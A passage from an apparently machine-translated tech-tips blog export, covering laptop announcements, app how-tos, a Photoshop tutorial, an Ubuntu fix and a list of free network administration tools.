with up to 12.5 hours of use with super fast charging technology. In addition, the device also supports Wi-Fi 6, Bluetooth 5.1 connectivity.\n Yoga Slim 7 Pro is 17.4 mm thin and weighs 2.1 kg. The device still retains a full range of connectivity ports, including: 1 HDIM port, 2 USB 3.2 Type-A ports, 1 USB Type-C port, 1 headphone jack and an SD card slot. The machine will run Windows 11 when sold.\nLenovo Yoga Slim 7 Pro will start at $1,449 (about 32.8 million) and is expected to go on sale in October 2021.\nLenovo Yoga Slim 7 Carbon Yoga Slim 7 Carbon is the world's lightest 14-inch OLED laptop with a weight of only 1 kg and a thickness of 14.9 mm.\n The laptop has a 14-inch OLED screen with QHD + resolution (2,880 x 1,800), 90 Hz refresh rate, with a color standard of up to 100% DCI-P3, 91% AAR. The screen has a maximum brightness of 400 nits, supports Dolby HDR technology and touch options.\n Yoga Slim 7 Carbon is equipped with up to AMD Ryzen 7 5800U processor, along with optional discrete graphics card up to NVIDIA GeForce MX450 and integrated graphics card AMD Radeon Graphics.\u0026nbsp;\nThe laptop is equipped by Lenovo with up to 16 GB of RAM, up to 1 TB of internal memory SSD PCle M2. The device has a 61 WHr battery with up to 14.5 hours of use with super fast charging technology. In addition, the device also supports Wi-Fi 6, Bluetooth 5.1 connectivity.\n Because of its thin and light nature, the device has removed most of the connection ports and is equipped with 2 USB Type-C ports that support DisplayPort and Power Delivery 3.0, 1 USB 3.2 Type-C port and 1 headphone jack. The laptop will run Windows 11 when it goes on sale.\nThe device will be sold with a starting price of $ 1,289 and is expected to be sold in October 2021.\nAre you impressed with the two laptop models Lenovo Yoga Slim 7 Pro and Yoga Slim 7 Carbon?\nlaptop lenovo ncG1vNJzZmismaXArq3KnmWcp51kuaa6zq%2BmZqGeqb%2BwsNScnKxlnprEbsXOoJhmq5yeum6DjKmpqGWRo7Fuxc6gmGarnJ66boOMnJirmp%2Bjeq2tz62mqas%3D\n","link":"/post/lenovo-introduces-new-yoga-slim-7-pro-and-yoga-slim-7-carbon-laptops/","section":"post","tags":null,"title":"Lenovo introduces new Yoga Slim 7 Pro and Yoga Slim 7 Carbon laptops"},{"body":"When Facebook bought Oculus VR - Rift manufacturing company, virtual reality headset (VR), there were many questions that this social media company / social network will use the newly purchased VR technology. Come on. Facebook Spaces is one of the answers, it is an interactive space in your Facebook account, where personalized avatars can chat and interact with up to three friends on Facebook or call via Messenger.\nTo use Facebook Spaces , what do you need? First you need an Oculus Rift headset to step into the virtual world and secondly need an Oculus Touch Controller for interactive purposes such as transferring content, picking and moving objects, etc. You also need A computer installed is strong enough to run Rift VR. To equip these Facebook Spaces VR hardware is not cheap.\nFacebook Spaces application supports Oculus Rift and HTC VIVE. You can download this application in Oculus Store or go directly to the facebook page to download the HTC Vive version.\nTips for checking whether the computer has experienced the Oculus Rift? Funny cartoon characters in Facebook Spaces The first thing that Facebook Spaces application requires users to do in Spaces after logging into Facebook is to create a personal avatar. It is quite similar to setting up Mii character on Nintendo.\n  Spaces provides users with a variety of skin, hair styles, styles, faces and glasses. In the future, hopefully there will be more additional items.\nWhat can you do in Facebook Spaces? You can visit Spaces as a way to view your own content or chat with up to three invited friends at once. The content is divided into three main areas: Media, Tools and Friends.\nMedia Facebook is the place to store photos and videos. Photos and videos will be pulled out, shared from saved photos, posted on the timeline and videos, photos shared by friends or sites. When dragging photos to share, they appear as a floating frame-like entity in virtual reality.\n  With growing media, Spaces also allows interaction with 3D images and videos to bring a more authentic feel. This may be your own creation or the ' Explore ' option will open up a rich repository of Facebook's 3D content. From the sea to other locations, your avatar will sit around a virtual table with friends.\nTools Currently, there are three main tools: mirrors, markers and Selfie stickers, plus a ' Drawing ' bank that provides pre-created 3D objects and drawings or users can create and save themselves. objects themselves draw.\nYou can get any tool and reposition them. Take a virtual selfie with your friends yourself, then choose a drawing like a dog or rabbit ears and put them on the mirror to make sure it is positioned correctly. Saved content can then be shared on your profile, if desired.\nMarker pens have four different sizes and many colors to choose from, so you can draw three-dimensional pictures in the virtual world. If you have a hand, you can draw objects then save and share with friends.\nFriends You must invite friends to join Facebook Spaces, only those who have virtual hardware devices can use it in Facebook Spaces. For friends who do not own this hardware, you can make video calls through Messenger.\n  The controllers operate on Facebook Spaces With an Oculus Touch Controller touch controller placed in each virtual hand, hand and your wrist will appear in Spaces space. Here are some basic controls:\nUse the joystick in different directions to show the facial expression for your avatar. Physical points with an index finger are raised from the controller, which can be used to select Media, Tools, Friends, Settings, etc.   Use both forefinger and thumb to grab or hold objects and move them around the virtual space. You can also shake hands with friends with the touch controller, which provides haptic feedback to make the feeling more accurate and authentic. Rotate the wrist to answer or reject incoming calls and delete, save, copy the objects to be kept. \"Eat\" selected items by taking and pulling them towards the face to make them fully open. See more:\nHow to use VR virtual reality technology for iPhone? 12 super attractive AR apps for Android people Experience with 5 applications for virtual reality glasses ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWWlrCmrs6oomaroJawpr%2BMmqWdZZikxG7AzmasrJ1dqbWqv4yvoKuspZa5br7EmqOirKliwLCvyJqjZqaVqcSwvso%3D\n","link":"/post/what-is-facebook-spaces-and-how-to-use-this-virtual-reality-social-network/","section":"post","tags":null,"title":"What is Facebook Spaces and how to use this virtual reality social network?"},{"body":"Visiting any website we see them designed to scroll up and down to display content instead of translating to horizontal. While the computer screen has gradually shifted from square to flat, websites roll up and down and still retain their dominance. Why so?\nComputer information flow is constantly changing\nInformation on a printed book page or a printed newspaper page is permanent and permanent, but the website and the information on it are not. Each website has a fixed length or length but the frame size is fixed. Therefore, the 'redundant' part of the information, which is not visible on that frame, must be placed at the bottom of the frame.\n  Our reading usually takes place from left to right and from top to bottom. Therefore, putting the 'redundant' information downward will make the reading process happen continuously, in accordance with the psychology of the user and naturally rather than horizontal.\nThe content moves up and down to match the trend of the human body\nIn most cases, when using a computer, the user's body is vertical. And to be psychologically closer to the vertical direction of the human body, people have designed the content on the computer screen to move in a vertical direction instead of shifting sideways. This helps the user see the information given to them.\n  The reason the website content is arranged vertically instead of horizontal\nIn art, people call horizontal frames a landscape format and vertical frames are portraits. Because in the horizontal space there are two sides containing many different objects such as scenes, trees and people. The object in the image does not get the viewers' attention. As for vertical placing images, there is no landscape space on either side, making objects in the image become the main focus. Based on this, designers often put the content in a vertical format and are pushed up to attract the attention of viewers even though the computer screen is usually in a horizontal format.\n  Horizontal scrolling on vertical format devices\nSome new devices today such as tablets or smartphones are designed with standardized vertical screen format. With this standardization, designers can lock content to fit within a page.\n  When using a smartphone, users often hold it vertically and controlled by the thumb to move left and right. In this case, horizontal movement will become more natural and efficient.\nConclude\nThere are many factors that make displaying content of web pages designed to scroll vertically instead of horizontal translation. One of them is the psychological element that users have chosen to scroll vertically instead of sideways.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJqpnmWnmq%2B0tdOeqmark6e8rbjIp55mrpWnwaqvwKWjsmWRo7Fuus6tZKGnop7HsLrTmqNmq5OnvK24yKee\n","link":"/post/why-are-websites-scrolling-vertically-and-not-horizontal-scrolling/","section":"post","tags":null,"title":"Why are websites scrolling vertically and not horizontal scrolling?"},{"body":"The Mi Watch is the most notable device in Xiaomi's new series of products that will launch on November 5. Finally, Xiaomi has launched its first smartwatch.\nToday, CEO Lei Jun revealed the actual image of Mi Watch through Weibo. This product has a square face and sides with a knob and a crack on the right edge, quite similar to the Apple Watch design.\n  As revealed by Xiaomi, the Mi Watch will have features like high-end smartwatches. That means Xiaomi's own smartwatch will support independent WiFi, GPS and NFC, along with a linear motor and speakers.\nMi Watch allows users to make calls thanks to eSIM support. The power of the Mi Watch is provided by the Qualcomm SoC chip, possibly the Qualcomm Snapdragon Wear 3100. This device will probably run Mi Wear OS, a customized version of Google's Android Wear operating system.\n  In addition to Mi Watch, Xiaomi also launched the Xiaomi Mi CC9 Pro phone with 108MP camera system and the new Xiaomi Mi TV 5 series at the upcoming event.\nHuawei launches Watch GT 2, listens for smartphones, 2-week battery, 50m waterproof, priced from 5.49 million Xiaomi launched Haylou LS01 smartwatch, 14-day battery, priced at VND 330,000 ncG1vNJzZmismaXArq3KnmWcp51kxaqtzqagZqWZYsSiwMKhZJ2do560r3nLnpikZZyeuKZ5wKmnpZ1drK61r8dmpJqmqWKupcLAp5qenF2bsqLA1KucrGWnnsGpecSsoKY%3D\n","link":"/post/xiaomi-mi-watch-design-leak-like-apple-watch-many-advanced-features-with-esim/","section":"post","tags":null,"title":"Xiaomi Mi Watch design leak, like Apple Watch, many advanced features, with eSIM"},{"body":"TipsMake.com - In this tutorial, you will learn how to design and create romantic Valentine cards in Photoshop. These are simple instructions for those who are not proficient in Photoshop through tools like Pen Tool, Custom Shape and Layer Style .\n  Create a new file ( File \u0026gt; New ) in Photoshop at 1920 x 1200 px ( RGB color mode) with a resolution of 72 pixels / inch . Use the Rectangle Tool (U) and draw a large rectangle equivalent to the file's background size.\n  At this layer, click the Add a layer style icon in the bottom part of the Layers panel and select Gradient Overlay\n  Click on the color bar to open the Gradient Editor and set the color as shown below. Click OK to close the Gradient Editor window.\n  After setting the color, we will have the background image as follows:\n  Next, you need to draw a curve at the created background. Select the Pen Tool (P) , select from the Options bar , draw Shape Layers mode and draw the following shape:\n  Set Fill to 0% for this layer and use Gradient Overlay color by selecting Add a layer style from the bottom part of the Layer panel.\n  Click on the color bar to open the Gradient Editor and set the color according to the following image. Click OK after the color is set.\n  We will be shown the following\n  Create a copy of the layer with the image just drawn above. Then select the F ree Transform (Ctrl + T) to move this copy to the right a bit. You can edit some points on this drawing using the Convert Point Tool\n  Set this layer's Fill to 0% and use Gradient Overlay with the following color schemes\n    So we have finished the background of the card\n  Page 2: Draw the heart\nDraw heart Select Custom Shape Tool (U) on the toolbar, in the Options bar click Shape to open the selection menu. Find the Heart Card at the bottom of the menu and double-click on it to choose to draw.\n  Drag that heart shape onto the existing card\n  Click the Add a layer style icon and select Gradient Overlay :\n  Then set the color in the Gradient Editor as follows\n  Use the Stroke\n  In Stroke , select Fill Type - Gradient and click on the color bar to open the Gradient Editor, set the color as shown below and click OK to close the Gradient Editor dialog box.\n  Complete the drawing of the heart\n  Make a copy of the heart layer and use the Free Transform (Ctrl + T) tool to drag the copy of the heart back\n  Set Fill for this new heart layer to 0% and use Gradient Overlay to change its color as follows\n    We will get the following picture\n  Page 3: Create a shadow for the heart\nNow need to create a little shine for the heart. To create a light shadow, you need to draw many shapes on a layer and edit the first shape with the Subtract option. Select the Ellipse Tool (U) , draw the ellipse first, then hold down Alt (or click on the S ubtract From Shape Area option on the Options bar ) and then draw the second ellipse as shown below.   Set this layer's Fill to 0% and use Gradient Overlay with the following color options\n    The shiny result of the heart is as follows\n  Create a copy of the lighted shadow layer, using the Free Transform (Ctrl + T) tool to reverse this light shadow copy to the following position.\n  Set its Fill to 0% and apply Gradient Overlay to fill the shadow color\n    Temporarily complete the heart:\n  Create another copy of the heart and select Free Transform (Ctrl + T) to drag it a little smaller. Using the Ellipse Tool (U) , hold down Alt ( Subtract From Shape Area ) and draw an ellipse at the following position compared to the newly created heart shape.\n  Set Fill to 0% for this new layer and click on Add a layer style to set the color for the Gradient Overlay :\n    Completely perfect a heart for the card\n  To merge all the layers of the heart into one, at the Layers panel, place the layers in succession, hold down the Ctrl key while selecting the layers and press Ctrl + E to group them. Create a copy of 2 hearts of the heart then use the Free Transform (Ctrl + T) tool to resize and rotate the directions for those two hearts.\n    Page 4: Create light rays around the heart\nNeed to create some light effects around '3 hearts'. Using the Pen Tool (P) draw some light rays below the heart layers\n  Result\n  Combine these drawn rays into a layer in the same lumped way as above (merging the heart layer). Duplicate this beam and drag them to smaller sizes with the Free Transform tool (Ctrl + T) and then rotate them to set the following angles.\n  Set the Fill of the light ray layer later to blur a little more, about 53%\n  Continue to make copies of the light if you are not satisfied and remember to fade its opacity ( Fill )\n    Create a new layer and select the Hard Mechanical brush from the Brush Tool (B).\n  Select the Foreground color color to white and draw dots of different sizes as shown below\n  ncG1vNJzZmismaXArq3KnmWcp51kvam706iqoaegYrCzscCtnGaqn6Kur8DInGSgqpWawaq6xmaamqqUqHqnu9FmrZqklaPBqrrErGSdmak%3D\n","link":"/post/create-romantic-greeting-cards-for-valentine-s-day/","section":"post","tags":null,"title":"Create romantic greeting cards for Valentine's Day"},{"body":"The Ubuntu Software Center is a utility for installing, purchasing, and removing software in Ubuntu, a major part of the overall software handling of the operating system.\nCannot find an application from Universe Repository in Ubuntu Software When searching for non-Snap applications (applications from Universe Repository) in the Ubuntu Software utility (version 20.04), you always receive the message No Application Found .\nUbuntu Software in Ubuntu 20.04 is actually the Snap Store. Currently, you cannot search and install any applications other than Snap packages through this utility.\n  Fix \"No Application Found\" error in Ubuntu Software A workaround for this problem is to reinstall the old Gnome Software, which was the default software in previous Ubuntu releases and has an identical user interface.\nStep 1. Open Terminal by pressing Ctrl + Alt + T on your keyboard or by searching for 'terminal' from the application menu.\n  Step 2. When Terminal opens, run the command to install GNOME Software :\nsudo apt install gnome-software   Step 3. After installation, refresh the system package cache via Software Updater or by running the following command:\nsudo apt update   Step 4. Finally, launch Gnome Software from the apps menu, search for and install any app you want!\n  Hope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjKemZpmgpbmqr8CtoKimXZu8trrDZpyrqp%2Bneqq6jK6Zrqakqnq0u8WtrpqqlQ%3D%3D\n","link":"/post/fix-no-application-found-error-in-ubuntu-software/","section":"post","tags":null,"title":"Fix 'No Application Found' error in Ubuntu Software"},{"body":"In this article, I will show you seven free networking tools, which are really useful tools for network administrators.\nThe budget cuts in the era of recession have become old. The amount of money invested for new employees and tools is significantly reduced. Network administrators need to find tools and other ways to improve this situation. Free tools are also considered to be one of the criteria to be addressed. To meet that part, in this article, we want to mention seven free networking tools that can make your daily work easier. Most of them do not require installation, users can carry them on tiny USB devices.\nFree network tools for Admin 1. Ping and Traceroute in Pingplotter 2. Who is using your network? Angry IP Scanner will help you answer this question. 3. Detect WiFi with Metageek inSSIDer 4. Dive deep into the network with Wireshark 5. Telnet (SSH) is safe with PuTTY 6. Avoid losing records: SolarWinds Kiwi Syslog Server 7. Measure bandwidth by Iperf 8. Nmap / Zenmap 9. Paessler SNMP Tester 10. Nagios 11. NTOPNG - High-speed web-based traffic analysis 12. A real-time overview of the whole network with Real-Time NetFlow Analyzer 13. Ansible - Tool for those who don't like repetitive tasks 14. Netmiko 15. SolarWinds TFTP Server 16. SolarWinds SFTP / SCP Server 17. Notepad ++ / UltraEdit / Sublime Text 18. Cygwin 19. Draw.io 1. Ping and Traceroute in Pingplotter Download: http://www.pingplotter.com/freeware.html\nFree software: Windows operating system\nPingplotter is a tool that combines basic Ping and Traceroute commands into an easy-to-use graphical interface. The advantages of using Pingplotter are many. The program can trace complex traces to reach any destination you specify, then combine those traces and display the results graphically. This graph includes a line showing the average trend. You can export the results as a text file or graph image. Pingplotter is the first tool I use when I suspect a problematic system.\n Figure 1: Free software PingPlotter 2. Who is using your network? Angry IP Scanner will help you answer this question. Download: http://www.angryip.org/w/Download\nOpen source program: Windows / Mac / Linux operating system\nAngry IP Scanner is a pretty light and fast tool. The program does not require installation and allows easy use. Users only need to enter the IP range to scan and click Start . After performing the analysis, Angry IP Scanner will provide you with a list of all devices on the network, including hostnames and open ports. Here is a list of things you can use:\nScan the network to find out if someone is connecting with unauthorized devices - such as WiFi hotspots with bad intentions. Have you ever planned to maintain electricity for the building? Tell your users to turn off the computer when they go home, then scan the entire network to see if there are still computers on your network that still work randomly. Use port scanning to check some basics about vulnerabilities or see if someone has installed web servers or emails without your knowledge. Check how many free IP addresses you have on a subnet, then optimize your DHCP scope. Tip : Most personal firewalls block ICMP (ping). If you have a network of Windows computers, you can apply group policies to allow ICMP (ping) from those sources - just like your administrator computers.\n Figure 2: AngryIP Scanner 3. Detect WiFi with Metageek inSSIDer Download: http://www.metageek.net/products/inssider/download\nOpen source program: Windows operating system\nMetageek inSSIDer is a WiFi detector like the well-known Netstumbler product, but it will win your affection in recent updates and can run on Vista / Windows 7. The program has can detect and display all wireless networks in the region. Even more, it has a graphical display, which makes it easy to see which networks have been discovered, which channels they use, their hardware platforms and the signal strength of the network. . You will know immediately whether your APs are affected by interference from nearby networks, or whether someone has installed bad access points or created dangerous security holes. Another simple use case is that you can also use the program to find out which WiFi network is best for your iPhone.\n  Figure 3: WiFi Metageek inSSIDer detector\n4. Dive deep into the network with Wireshark Download: http://www.wireshark.org/download.html\nOpen source program: Windows / Mac / Linux / Unix operating system\nIn recent years, Wireshark (formerly known as Ethereal) has become a useful software for network analysis. There are very few products that have special features like Wireshark and this is rooted in why. Suppose you want to know what is really happening on your network. Wireshark will capture the packets, then display them in such a way that you can easily follow the 'conversations' and access between computers. It has almost endless sorting and filtering options, allowing you to find exactly what you're looking for. This tool can also analyze dump files from other software packages like MS Network Monitor.\n5. Telnet (SSH) is safe with PuTTY Download: http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html\nOpen source: Windows / Unix / Linux / Mac (unofficial port)\nPersonally, I will not use Telnet. Although this is a fairly fast and simple tool, Telnet has some security issues that are passing passwords in text form. Fixing this error is simple, we just need to enable SSH encryption on network devices and use PuTTY as a Terminal Emulator. PuTTY is a very flexible tool and does not require installation. It supports serial connections (Serial) and can still perform Telnet when needed. Support copy / paste commands to help you avoid unnecessary typing, and it can perform Secure FTP.\n Figure 4: Set PuTTy as a terminal emulator 6. Avoid losing records: SolarWinds Kiwi Syslog Server Download: http://www.solarwinds.com/Products/freetools/kiwi_syslog_server/\nFree registration: Windows\nHave you ever encountered the case that your logs disappear after someone restarts the router? To prevent this situation, you need a syslog server. SolarWinds' Kiwi Syslog Server can help you avoid this situation. Configure all your network devices so that they send log messages to the syslog server, so you will never lose important information like the case above.\n7. Measure bandwidth by Iperf Download: http://sourceforge.net/projects/iperf/\nOpen source: Linux / Windows operating system\nIperf is a great bandwidth testing tool, it can help you find network problems. Do you suspect your 100Mb connection has a problem (not reaching the bandwidth as registered). Use Iperf on computers at the end of each connection, perform a test and see how the actual results are. The program does not require installation and can measure TCP and UDP, jitter, and some other metrics.\n Figure 5: Iperf bandwidth testing tool Note : Some tools may be considered as hacking tools for company security policies. If in doubt, join with your network administrator before downloading or using them.\n8. Nmap / Zenmap   Many people have a habit of using Nmap at least once a week. According to the company's official website Nmap.org (Network Mapper) is a security scanner used to discover servers and services on a computer network, thus creating a 'map' of people's networks. use. To accomplish its goal, Nmap sends specially designed packages to the destination server and then analyzes the responses.\nNmap provides some amazing features for exploration networks, including server detection, service detection and operating system detection. These features can be extended with scripts, providing more advanced detection of services, vulnerabilities and other features. Actually, Nmap is used in the backend section for various security assessment tools like Nexpose.\nAgain, if you're a fan of the GUI, download the package with Zenmap.\n9. Paessler SNMP Tester   SNMP (Simple Network Management Protocol) is not simple. This is why you need a good testing tool. You can find some options on the Internet, but the most popular option is Paessler SNMP Tester.\nThe goal of this program is to create a tool that allows users to debug SNMP operations, to find communication and / or data problems in SNMP monitoring configurations. Is your device properly configured? Are you using the correct keys? Use this tool to verify whether your SNMP configuration works with programs like PRTG Network Monitor.\n10. Nagios   Nagios.org is a network monitoring software solution. In fact, it has a set of solutions for monitoring network availability, data flow analysis and security, as well as collecting test logs. It has complete open source and a vibrant community with the participation of developers and like-minded administrators.\nWith Nagios XI, you can monitor everything from infrastructure to applications. With Nagios Log Server, you can quickly select a central repository for test logs or enable settings to alert important events, such as threats. And with Nagios Network Analyzer, dig deeper into the 'health' and integrity of the system and network you're using, analyze traffic, validate goals, and troubleshoot.\nThe most special thing in Nagios is a simple approach to monitor and monitor the operation of the system. This tool has many ways to visualize data in a visual way. That's a pretty big plus. Finally, the built-in failover feature will be useful if you start to control larger environments.\n11. NTOPNG - High-speed web-based traffic analysis   Named after the most common command name in Unix, ntop shows that network usage is similar to the way the top displays the use of the system. Ntopng, based on libpcap, is the next generation version of the original ntop. It is written in portable format, allowing the program to be flexible when running on multiple platforms, including Linux, Mac OSX and Windows.\nBased on the web, ntopng allows you to view traffic data and collect reports related to network status. You can use multiple criteria to sort, including IP addresses, ports, Layer 7 assignments, BGP AS, etc. You can even create long-term reports to collect metrics like throughput. by the time. Many people use this tool to create detailed server-based reports, showing latency of applications, RTT and TCP statistics.\n12. A real-time overview of the whole network with Real-Time NetFlow Analyzer   When it comes to troubleshooting network performance at a site or from a specific perspective, many people choose SolarWinds' Real-Time NetFlow Analyzer. This tool is free and simple to use. By activating this tool and viewing traffic through a router or interface, it can help users save hours. Easily identify users, applications and devices that consume the most bandwidth.\nIf you like this tool, you should upgrade it to the full version. It really is a great tool.\n13. Ansible - Tool for those who don't like repetitive tasks   Ansible.com is a simple and powerful automation tool, with the goal of reducing repetition of actions by automating tasks. This tool is relatively easy to use because Ansible's view is that automation should not be more complicated than the tasks it replaces.\nFrom a network perspective, many people like to use this tool to create configuration files based on custom templates. I can quickly build options for almost any situation, ensuring that configuration files are built correctly based on the standards and network devices that are configured appropriately.\nIf you want to get more with the GUI, consider Ansible Tower.\n14. Netmiko   Created by Kirk Byers, Netmiko is a multi-vendor Python library, to simplify Paramiko, directing it to network devices. This is an advanced tool and is only useful if you use Python for programming or automation. It simplifies SSH connections, executes commands and retrieves data.\nEach vendor has its own characteristics related to interaction in the shell environment. Netmiko is designed to simplify this lower level SSH management for a wide range of network providers.\nNetmiko currently supports the following platforms:\nCisco IOS, IOS-XE, IOS-XR, ASA, NX-OS and WLC (with limited testing) Arista EOS HP ProCurve HP Comware (limited test) Juniper Junos Brocade VDX (limited test) F5 LTM (test) Huawei (limited test) 15. SolarWinds TFTP Server   As a network administrator (admin), you will have to transfer the configuration file or image file to the router. TFTP has allowed users to easily perform this task for many years and although alternative protocols have appeared, many people still choose TFTP.\nThis is why many people opt for TFTP server applications to use on their laptops. You can consider SolarWinds TFTP Server. It's a multithreaded, reliable, free and almost no-rival tool.\nWith a newly added small feature, you can actually authorize specific IPs or ranges to restrict sending and receiving directly to the server (for advanced security). And if you do this often or from a central server, run it as a service available 24/7.\n16. SolarWinds SFTP / SCP Server SFTP and SCP are two of the many previously mentioned protocols.\nIf you have the ability to use security protocols instead of TFTP, do so, just make sure you have reliable software like SolarWinds SFTP / SCP Server.\nLike the TFTP Server, SolarWinds SFTP / SCP Server software is often used to upload and download executable images and configure backups for routers and switches. You can authorize specific IPs or ranges to restrict sending and receiving directly to the server (for advanced security) and run as a service on the central server.\n  Suppose you need one of these tools, it is possible that you are transferring configuration or image files to / from network devices. If you have never used such a tool, you should try to consider SolarWinds Network Configuration Manager. You can try it for free and then pay to continue using it. Very 'worth the money for rice'!\n  17. Notepad ++ / UltraEdit / Sublime Text If you're still using the old old Notepad, you don't know what you've missed. Use one of these text editors, make sure you don't regret it!\n18. Cygwin   If you have ever used Linux, then you have become familiar with useful commands like ' grep', 'ls', 'top', 'df', 'pwd ', etc. In the Windows world, people Some of these commands are missing, and if so, they are written with some other non-intuitive syntax. Wouldn't it be great to have Linux commands and applets in Windows? Cygwin is the solution you are looking for.\nCygwin.com is a large collection of GNU tools and open source, providing the same functionality as the Linux distribution on Windows. You can not only run familiar commands but also download (similar to apt-get or yum) different Linux tools. Some of the most favorite commands are wget and curl. If you're running Windows, you should try using Cygwin.\n19. Draw.io   Visio is definitely the best tool for designing network diagrams. However, it is a bit expensive and only runs on Windows. Many Mac users run Windows VMs only to be able to use Microsoft Visio. However, there is an alternative solution to use Draw.io, a browser-based charting application. Great!\nWhether you're building technical diagrams or network diagrams, Draw.io has tons of templates to get started. It connects with online storage environments like Dropbox and Google Drive to save real time. Therefore, users no longer fear losing data. Again, it's free and cloud-based diagrams can be shared and exported.\nSee more:\n10 free and useful network tools 10 free search tools for Windows 10 Free working tools for businesses ncG1vNJzZmismaXArq3KnmWcp51ks7OxxGalnqynpL%2BsedOopqWrXZu8s3nAnaSipg%3D%3D\n","link":"/post/free-network-tools-for-admin/","section":"post","tags":null,"title":"Free network tools for Admin"},{"body":"The call feature, Facebook video call on the computer has been around for a long time, but recently, Facebook has supported this feature on phones and tablets. Users can now comfortably chat, text, and video calls from their Facebook accounts. But a pity for Windows Phone users who are their operating systems has not been officially supported.\nHow to call Facebook video call on computer? How to login to multiple accounts on Facebook Messenger How to log out of Facebook Messenger on iOS, Android and Windows Phone So, how to call Facebook video calls on mobile phones and tablets? First, you need to have Facebook Messenger application on iOS or Android , download link below:\nFacebook Messenger for iOS Facebook Messenger on Android Install the application as usual, after starting and logging in to your account, you will see the main interface of Messenger as shown below:\n  Select the account you need to call Video Call , and click on the button with the Camera in the corner of the screen. Note, calling video calls on Messenger requires a network connection, so you must turn on 3G, 4G or WiFi connection before clicking on the camera icon.\n  Call signal on both screens of caller and receiver. When the recipient accepts the call, the two of you can talk to each other, see each other's images as on other OTT applications.\n  And here is the Video Call detail screen from Facebook Messenger :\n  It should be noted that depending on the speed of the Internet connection of the phone, the tablet, the quality and the call signal will be blurry or the voice, the voice will be delayed or not (see the article on network speed test) , Internet on computer). However, if compared to the current OTT applications such as Viber, Zalo, Whatsapp . then the video call via Facebook Messenger is really not inferior. Good luck!\nHow to know someone blocked you on Facebook Messenger? How to fix some common errors on Facebook Messenger How to chat with Chatible strangers on Facebook Messenger How to \"hunt\" messages hidden in Facebok Messenger How to log out of your Facebook Messenger account on your Android phone? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuRobluwsidnKhllpawpq7OqKJmpZWowKa6xp6pZqeeYrqwrsilnGaskZe5psA%3D\n","link":"/post/how-to-call-video-facebook-messenger-on-mobile-tablet/","section":"post","tags":null,"title":"How to call, video Facebook Messenger on mobile, tablet"},{"body":" When you save a video after editing on Windows Live Movie Maker, you can choose which among the existing preset settings you want to use to optimize the video for playback on specific devices. However, if you want to publish the video...\nPart 1of 2:\nCreate a Custom Setting  Click on the Menu button. It is located on the top-left corner of the window. This will open the menu panel.\n  Click on 'Save Movie.\" This will open up a new sub-menu to the right.\n  Scroll down the sub-menu to the 'Custom Settings' section. Then click on 'Create Custom Settings' at the very end of the sub-menu.\n  Create a custom setting. To create a custom setting, you either make a new one or modify an existing one. Click on the setting's drop-down list and choose '' to start from scratch, or select any of the existing settings on the list you want to edit. When you create a custom setting from scratch, you need to type in its name on the 'Name' text field provided.  Part 2of 2:\nAdjust Settings  Adjust the video settings. Set the video height and width, its bit rate, and the frame rate speed.\n  Set the audio settings. Click on the drop-down list and select the audio settings you want. Remember, the higher the bit rate (kbps), the better the quality, but it also means a bigger file size.   Check the estimated file size. When you make any adjustments on the settings, an estimated file size is displayed at the bottom of the window. This file size refers to per minute of the video' meaning, if it shows an estimated size of 5 MB and your video's length is 4 minutes, then the estimated file size of the published video would be around 20 MB.\n  Finalize adjustments. Click on 'Save' to do this. You now have a custom setting of your own that you can use whenever you save or publish a video.\n  Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYycrKysn6J6tLHTraCnn6Nitq951qKlnaenqHqttdWeZKanpp6ybrnApJyr\n","link":"/post/how-to-create-custom-settings-in-windows-live-movie-maker/","section":"post","tags":null,"title":"How to Create Custom Settings in Windows Live Movie Maker"},{"body":"Memoji is a personal icon set that has just been released on the latest iOS 12 with many interesting improvements, promising to bring many new hot trends for young people. Compared to Animoji released last year along with iPhone X, Memoji on iOS this year, there are more improvements when you can customize the face more, and use 3D images to represent you while FaceTime. Below is the detailed information on how to create a personalized Memoji icon on iOS 12 for you.\nHow to set multiple faces for Face ID in iOS 12 List of devices upgraded to iOS 12 The best features on iOS 12 that Apple did not officially announce on WWDC stage Memoji is a new transformation of Animoji As mentioned above, \"Apple House\" released Animoji last year with iPhone X, so this 3D icon set is only used with this high-end phone camera. Last Monday, Apple added some new animations to iOS 12, including a ghost and a koala to give users a lot of new experiences.\nBut Memoji is really based on the user's face, because there are many customizations like your version in real life or your preferences.\n  Note:\nIf you haven't upgraded your device to iOS 12 beta, you won't be able to try Memoji, download the iOS 12 beta update to try it out, the official version will be released soon. After upgrading, you can use the Memoji feature according to the instructions below.\n  How to send Memoji via message To create Memoji on iOS 12, select the application icon on the left hand side of the text entry section of the Message . At this point, you will see the Animoji icon, click on it and select the icon at the bottom of the screen. Continue, swipe left until you see the \"+\" sign, then click to start using this Memoji.\n  By default, Memoji will start with a basic face like the one below.\n  Memoji offers a few skin and eye suggestions for you to delight in designing your Memoji character, you can even add freckles more or less if you want.\n  You can also customize the hair color, hair style, skin color, and accessories such as glasses or earrings for your avatar. Once you've finished editing the Memoji, drag it to the Animoji menu to save it and use it at any time.\n  From now on, use Memoji to replace your face, then send new Memoji as a regular message, or you can integrate it as a fun sticker every time you take a selfie.\nUse Memoji for FaceTime You can also use MeMoji to represent yourself in the FaceTime group call - a new feature in iOS 12. Apple has also improved FaceTime video call functionality on iOS 12, allowing video calls in groups with up to 32 people at the same time.\n  It's interesting, isn't it? Exchange your Memoji iOS 12 images with friends while chatting or sharing on Facebook for everyone to know.\nSee more:\niOS 12 will allow you to turn your iPhone into a smart key Check iOS 12 beta and iOS 11.4 on iPhone 5S to iPhone 8, should upgrade? How to take an emoji style \"selfie\" with Memoji ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYypnKurn6OurXnMnqSooplitqS7zaxkqKZdnry0eZBr\n","link":"/post/how-to-create-personal-memoji-icons-on-ios-12/","section":"post","tags":null,"title":"How to create personal Memoji icons on iOS 12"},{"body":"It is important to know the default gateway's IP address (usually the router) on a home or business network, if you want to successfully fix network problems or access management on the router's web platform.\nIn most cases, the default IP address is the private IP address assigned to your router. This is the IP address that your router uses to communicate with the home network (local area network).\nAlthough it may take some time to perform the necessary steps, the default gateway IP address is stored in Windows network settings and is really easy for users to find.\nRequired time : It will take a few minutes to locate your default gateway IP address in Windows, even less if you use the ipconfig method (to be covered later in this article), a The process you might like, if you have experience 